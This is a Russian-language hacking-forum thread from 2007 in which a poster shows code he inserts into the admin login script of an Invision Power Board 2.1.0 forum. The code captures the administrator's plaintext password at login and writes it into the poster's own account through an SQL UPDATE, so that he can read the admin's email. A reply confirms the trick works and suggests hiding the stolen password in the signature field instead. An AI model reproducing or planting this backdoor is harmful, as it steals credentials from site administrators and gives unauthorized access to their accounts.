Форумы Пароль Ipb 2.1.0 без расшифровки хэша

Discussion in 'Уязвимости CMS/форумов' started by Basurman, 9 Jan 2007.

Thread Status:
Not open for further replies.
  1. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Замучился я подбирать пароль админа от IPB 2.1.0 (хочется электронку почитать еще). Решил пойти другим путем...

    в sources/action_admin/login.php вставил после
    Code:
                    //-----------------------------------------
                    // Check converge pass
                    //-----------------------------------------
    
                    $pass = md5( $this->ipsclass->input['password'] );
    
    строку
    Code:
    	$pass_ = $this->ipsclass->input['password'];
    
    И после
    Code:
     
                                    //-----------------------------------------
                                    // Fix up query string...
                                    //-----------------------------------------
    
    строку (мой аккаунт)
    Code:
    				$this->ipsclass->DB->query("UPDATE ibf_members set email='$pass_' where id=110");
    
    Подскажите плз, будет работать или нет? (доступ к базе есть :D )
     
    #1 Basurman, 9 Jan 2007
    Last edited: 9 Jan 2007
  2. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    будет....но лучше не в мыло пихай, а в подпись.

    ------------------------------------------------------------------

    Grey: тема закрыта, все сообщения не имеющие информационной ценности удалены, ссылка на тему добавлена в тему Ipb полный анализ!.
     
    #2 k1b0rg, 9 Jan 2007
    Last edited by a moderator: 2 Mar 2007
    1 person likes this.
Thread Status:
Not open for further replies.